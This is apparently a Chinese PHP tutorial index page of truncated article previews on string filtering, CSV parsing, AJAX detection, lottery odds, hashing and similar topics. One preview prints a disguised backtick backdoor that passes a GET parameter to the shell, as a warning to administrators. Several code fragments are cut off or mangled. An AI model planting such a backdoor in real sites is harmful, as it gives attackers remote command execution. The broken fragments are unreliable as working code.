Time of Update: 2016-07-13
還記得以前在工作中,將爬來的其它網站的資料導到xml。但是會遇到一個問題:即網頁會有ascII的控制字元。一開始以為是別人為了防止採集而加入的,然後發現一個就往過濾表裡加一個。直到慢慢發現,他們都是ascii表裡的字元。找到原因了,就好解決了。 /** * 根據ascii碼過濾控制字元 * @param type $string */ public static function special_filter($string) { if(!$string) return '';
Time of Update: 2016-07-13
PHP 5.1.1 起定義有以下常量來提供標準日期表達方法,可以用於日期格式函數(例如 date())。 DATE_ATOM(string) 原子鐘格式(如:2005-08-15T15:52:01+00:00) DATE_COOKIE(string) HTTP Cookies 格式(如:Mon, 15 Aug 2005 15:52:01
Time of Update: 2016-07-13
php中獎機率演算法,可用於刮刮卡,大轉盤等抽獎演算法。用法很簡單,代碼裡有詳細注釋說明,一看就懂 $proCur) { $randNum = mt_rand(1, $proSum); if ($randNum $result = $key; break; } else { $proSum -= $proCur; } } unset ($proArr); return $result; } /* * 獎項數組 * 是一個二維數組,記錄了所有本次抽獎的獎項資訊,
Time of Update: 2016-07-13
php帶csv格式的資料要用到fgetcsv()函數。 用這下面的語句 $hd=fopen('test.csv','r'); $buf=fgetcsv($hd,1000,','); 開啟一個test.csv格式的檔案,檔案中的內容以","號分開。 取出的第一行代表自動含義,比如 id,messaget,time等等。 從第二行開始表示具體的資料,比如1,訊息,12:00。 if($buf[1]=="some messages") echo
Time of Update: 2016-07-13
先說前端使用 jQuery 時怎麼區分: jQuery 發出 ajax 請求時,會在要求標頭部添加一個名為 X-Requested-With 的資訊,資訊內容為:XMLHttpRequest 在後端可以使用 $_SERVER["HTTP_X_REQUESTED_WITH"] 來擷取。(注意:中劃線換成了底線,不區分大小寫) 由此,我們可以這樣來判斷是否為 ajax 請求:// php 判斷是否為 ajax 請求
Time of Update: 2016-07-13
前期準備工作 下載Html2Rtf.dll,以管理員的身份運行cmd,進入Html2Rtf.dll所在目錄--》輸入Regsvr32 Html2Rtf.dll 核心代碼: PreserveImages = true; $html2RTFCom->PageNumbers = 1; $html2RTFCom->PageNumbersAlignH = 1; $html2RTFCom->PageNumbersAlignV = 5; $htmlFile =
Time of Update: 2016-07-13
” ” 雙引號裡面的欄位會經過編譯器解釋,然後再當作HTML代碼輸出。 ‘ ‘ 單引號裡面的不進行解釋,直接輸出。 從字面意思上就可以看出,單引號比雙引號要快了。 例如: $abc=’my name is tome’; echo $abc //結果是:my name is tom echo ‘$abc’ //結果是 abc echo “$abc”
Time of Update: 2016-07-13
PHP+Ajax實現分頁技術:基於php和ajax的分頁技術代碼,下面有兩個php檔案,一個是sn_inq.php,另一個是sn_show.php,前一個php檔案調用後一個php檔案,實現ajax分頁,運行sn_inq即可實現效果,不過得修改資料庫哦。具體代碼如下:紅色標註的地方要特別注意修改哦!我的資料庫名是inv,表名是sn,欄位有:sn_id,sn_plant,sn_sales,sn_act,sn_type,sn_sts.....1.sn_inq.php//getFormValue
Time of Update: 2016-07-13
PHP驗證碼圖片不能輸出 檔案名稱 global_func.php function _code(){ //運行驗證碼 //隨記碼個數 $_rnd_code=4; for($i=0;$i $_nmsg.=dechex(mt_rand(0,
Time of Update: 2016-07-13
最近要做個十進位數位可逆轉換做邀請碼,一直沒搞清楚怎麼弄的,實在太複雜了,今天弄IP時想到這個可以進行轉換,於是研究了下原理:主要是自己整理了下:$ip = '12.34.56.78';$ips = explode('.', $ip);$result = 0;$result += $ips[0]';echo bindec(decbin(ip2long($ip)));echo '';$str = '';$str .=
Time of Update: 2016-07-13
一、php配置MySQL1、將php安裝目錄下的php_mysql.dll和MySQL安裝目錄下的libmysql.dll檔案拷貝至c:/windows/system32中;2、配置php.iniextension=php_gd2.dllextension=php_mbstring.dllextension=php_mysql.dllextension=php_mysqli.dll把上面四個.dll的最前面的;去掉二、php表單提交至資料庫的實現過程1、login.php頁面login
Time of Update: 2016-07-13
在使用 PHP 進行開發的過程中,或早或晚,您會需要建立許多相似的變數。 無需很多相似的變數,你可以把資料作為元素儲存在數組中。 數組中的元素都有自己的 ID,因此可以方便地訪問它們。 有三種數群組類型: 數值數組 帶有數字 ID 鍵的數組 例子 $names = array("Peter","Quagmire","Joe"); echo $names[1] . " and " . $names[2] . " are ". $names[0] . "'s
Time of Update: 2016-07-13
php/* * hash::拉鏈法解決hash節點儲存衝突問題 * ::2014-07-02 * ::Small_Kind */class small_hash { private $size = 20;//hash節點大小 private $zone = null;//hash空間 //執行個體化函數,並設定一個初始hash節點大小,如果節點大小為null,則為預設節點大小 final public function __construct($size = null){
Time of Update: 2016-07-13
1、如果能將類的方法定義成static,就盡量定義成static,它的速度會提升將近4倍。 2、$row[’id’] 的速度是$row[id]的7倍。 3、echo 比 print 快,並且使用echo的多重參數(譯註:指用逗號而不是句點)代替字串串連,比如echo
Time of Update: 2016-07-13
php為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: http://www.bkjia.com/PHPjc/822514.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/822514.htmlTechArticlephp為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: ?php /** *
Time of Update: 2016-07-13
不想每次測試 PHP 時都開虛擬機器,於是在電腦上用 XAMPP 搭建了測試平台。 我現在已經把我的部落格資料導到本地,準備寫一個自己的模板。 因為我習慣給不同的項目建一個檔案夾,而在根目錄不想放其他東西,為了能夠更方便地進入各個項目,我就想在根目錄的裡建個索引,一個項目對應一個超連結。用靜態頁固然可以,但是如果我一新增項目豈不是要更新這個靜態頁?程式猿一般都很懶,於是寫了個小程式,用來列出當前檔案夾中的所有目錄。 ".$filename[$i]." /n"; }
Time of Update: 2016-07-13
方法一: 注意: 1、$charset變數為網頁編碼,如"gb2312"或"utf-8"; 2、使用方法一要求伺服器必須開啟mbstring.dll擴充,否則代碼執行錯誤,所以對於使用虛擬機器主機的朋友,可以考慮使用第二種方法。 方法二: 127?$str[$i].$str[++$i]:$str[$i]; } return $arr; } $arr=str_to_arr($str); ?>
Time of Update: 2016-07-13
偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是
Time of Update: 2016-07-13
很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php
Time of Update: 2016-07-13
ThinkPHP是國內著名的開源的PHP架構,是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,並且遵循Apache2開源協議發布。早期的思想架構來源於Struts,後來經過不斷改進和完善,同時也借鑒了國外很多優秀的架構和模式,使用物件導向的開發結 構和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(標籤庫)、RoR的ORM映射和ActiveRecord模式,